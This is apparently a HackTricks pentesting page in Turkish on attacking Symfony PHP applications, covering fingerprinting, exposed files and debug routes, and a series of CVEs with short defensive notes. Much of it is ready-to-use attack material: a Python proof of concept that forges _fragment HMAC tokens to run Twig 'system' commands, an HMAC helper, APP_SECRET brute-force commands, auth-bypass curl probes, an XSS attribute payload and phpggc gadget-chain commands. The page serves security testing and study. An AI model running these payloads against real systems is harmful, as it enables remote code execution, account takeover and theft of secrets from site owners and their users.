Symfony
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Symfony, en yaygın kullanılan PHP frameworklerinden biridir ve kurumsal, e-ticaret ve CMS hedeflerinin (Drupal, Shopware, Ibexa, OroCRM … hepsi Symfony bileşenleri içerir) değerlendirmelerinde düzenli olarak karşınıza çıkar. Bu sayfa, bir Symfony uygulaması keşfettiğinizde kontrol listenizde olması gereken ofensif ipuçlarını, sık yapılan yanlış yapılandırmaları ve yakın tarihli güvenlik açıklarını toplar.
Tarihi not: Ekosistemin büyük bir kısmı hâlâ 5.4 LTS dalını çalıştırıyor (EOL Kasım 2025). Symfony 7.4 Kasım 2025’te yeni LTS oldu ve Kasım 2029’a kadar güvenlik düzeltmeleri alacak. Birçok 2024‑2026 danışma notu sadece mikro sürümlerde düzeltildiği için kesin patch-seviyesini her zaman doğrulayın.
Keşif & Enumarasyon
Finger-printing
- HTTP yanıt başlıkları:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkveyasf_redirect,sf_session,MOCKSESSIDile başlayan çerezler. - Source code leaks (
composer.json,composer.lock,/vendor/…) genellikle tam sürümü açığa çıkarır:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Yalnızca Symfony’de bulunan public route’lar:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(güzel hata sayfaları)/app_dev.php,/config.php,/config_dev.php(4.0 öncesi dev front-controller’lar)- Wappalyzer, BuiltWith veya ffuf/feroxbuster wordlist’leri:
symfony.txt→/_fragment,/_profiler,.env,.htaccessarayın.
İlginç dosyalar & endpoint’ler
| Path | Neden önemli |
|---|---|
/.env, /.env.local, /.env.prod | Sıkça yanlış deploy edilerek APP_SECRET, DB cred’leri, SMTP, AWS anahtarları leaks yapar |
/.git, .svn, .hg | Source disclosure → kimlik bilgileri + iş mantığı |
/var/log/*.log, /log/dev.log | Web-root yanlış yapılandırması stack-trace’leri açığa çıkarır |
/_profiler | Tam istek geçmişi, konfigürasyon, service container, APP_SECRET (≤ 3.4) |
/_fragment | ESI/HInclude tarafından kullanılan giriş noktasında APP_SECRET bilindiğinde istismar mümkün |
/vendor/phpunit/phpunit/phpunit | Erişilebilir ise PHPUnit RCE (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print ve bazen exception trace’leri leak eder |
Yüksek etki yapan güvenlik açıkları
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 orijinal olarak, ama debug açık bırakıldığında veya
.envexpose edildiğinde modern hedeflerde hala görülüyor. - 32 karakterlik
APP_SECRET’i öğrendikten sonra HMAC token oluşturup internalrender()controller’ını kullanarak rastgele Twig çalıştırabilirsiniz:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Mükemmel bir yazı ve exploitation script’i: Ambionics blog (References’da linkli).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- 5.4.50, 6.4.29 ve 7.3.7 altı sürümleri etkiler. Path normalizasyonu öndeki
/’i düşürebilir ve/admingibi varsayılan erişim-kontrol kurallarını kırar. - Hızlı test:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ eğer auth olmadan admin route’larına erişiliyorsa zaafiyeti buldunuz. - Düzeltme:
symfony/http-foundation’ı veya framework’ü sabit patch seviyesine yükseltmek.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- MSYS2 (Git-Bash, mingw) üzerinde PHP çalıştırıldığında Windows’ta 5.4.51, 6.4.33, 7.3.11, 7.4.5 ve 8.0.5 altı sürümleri etkiler.
Process=işaretini quote edemeyip argümanları bozar;rmdir,delgibi destrüktif komutlar istenmeyen dizinleri hedefleyebilir. - Eğer bir PHP script yükleyebiliyor veya Composer/CLI helper’larını etkileyebiliyorsanız ve
Processçağrılıyorsa,=içeren argümanlar (örn.E:/=tmp/delete) ile path yeniden yazımı oluşturun.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
register_argv_argc=Onve non-SAPI runtime’lar kullanıldığında, crafted query string’lerargvparsing ileAPP_ENV/APP_DEBUG’i değiştirebilir. 5.4.46/6.4.14/7.1.7’de patchlendi.- Log’larda
/?--env=prodveya benzeri kabul edilen girdilere bakın.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- URI’deki özel karakterler tarayıcıların yaptığı gibi aynı şekilde doğrulanmıyordu; bu, saldırgan kontrollü domainlere redirect yapılmasına izin veriyordu. 5.4.46/6.4.14/7.1.7’de düzeltildi.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-component2.25.1 öncesi{{ attributes }}’i escaping olmadan render ediyordu → attribute injection/XSS. Uygulama kullanıcıların component attribute’larını tanımlamasına izin veriyorsa (admin CMS, email templating) script injection’a zincirlenebilir.- Her iki paketi de 2.25.1+ sürümlere güncelleyin. Manuel exploit için, custom component’a geçen attribute değerine JS koyun ve rendering’i tetikleyin.
7. Windows Process Hijack – CVE-2024-51736 (Process)
Processbileşeni Windows’ta PATH’den önce çalışma dizinini arıyordu. Yazılabilir web-root’atar.exe,cmd.exevs. yükleyebilen bir saldırganProcess’i tetikleyerek (örn. dosya açma, PDF oluşturma) kod çalıştırabilir.- 5.4.50, 6.4.14, 7.1.7’de patchlendi.
8. Session-Fixation – CVE-2023-46733
- Authentication guard girişten sonra mevcut session ID’yi yeniden kullanıyordu. Eğer bir saldırgan cookie’yi kurbandan önce ayarlarsa, kurbandan sonra hesabı ele geçirebilir.
9. Twig sandbox XSS – CVE-2023-46734
- Kullanıcı kontrollü template’lerin (admin CMS, email builder) expose edildiği uygulamalarda
nl2brfiltresi sandbox’ı aşmak ve JS inject etmek için kullanılabiliyordu.
10. Symfony 1 gadget chains (legacy uygulamalarda hâlâ bulunur)
phpggc symfony/1 system idbir Phar payload üretir;unserialize()sırasındasfNamespacedParameterHoldergibi sınıflar tetiklenince RCE oluşur. Dosya-yükleme endpoint’lerini vephar://wrapper’larını kontrol edin.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce zayıf APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via exposed Symfony Console
Eğer bin/console php-fpm üzerinden veya direct CLI upload ile erişilebiliyorsa:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
cache directory içinde deserialization gadgets kullanın veya sonraki istekte çalıştırılacak bir kötücül Twig template yazın.
Probe PATH_INFO bypass’ını hızlıca (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Eğer render edilen çıktı özniteliği kaçışsız (unescaped) şekilde yazdırıyorsa, XSS başarılı olur. 2.25.1+ sürümüne yükseltin.
Savunma notları
- Debug’ı (
APP_ENV=dev,APP_DEBUG=1) production’a asla dağıtmayın; web sunucusu konfigürasyonunda/app_dev.php,/_profiler,/_wdtyollarını engelleyin. - Gizli bilgileri env değişkenlerinde veya
vault/secrets.local.phpiçinde saklayın, belge-kökü (document-root) üzerinden erişilebilen dosyalarda asla saklamayın. - Yama yönetimini zorunlu kılın – Symfony güvenlik duyurularına abone olun ve en azından LTS yama seviyesini koruyun (5.4.x hasta Kasım 2025’e kadar, 6.4 Kasım 2027’ye kadar, 7.4 Kasım 2029’a kadar).
- Eğer Windows üzerinde çalışıyorsanız, CVE-2024-51736 & CVE-2026-24739 etkilerini azaltmak için hemen yükseltin veya savunmayı derinleştirmek (defence-in-depth) için
open_basedir/disable_functionsekleyin.
Faydalı saldırı amaçlı araçlar
- ambionics/symfony-exploits – secret-fragment RCE, debugger rotalarını keşfetme.
- phpggc – Ready-made gadget chains for Symfony 1 & 2.
- sf-encoder –
_fragmentHMAC’ını hesaplamak için küçük yardımcı (Go implementasyonu).
Referanslar
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


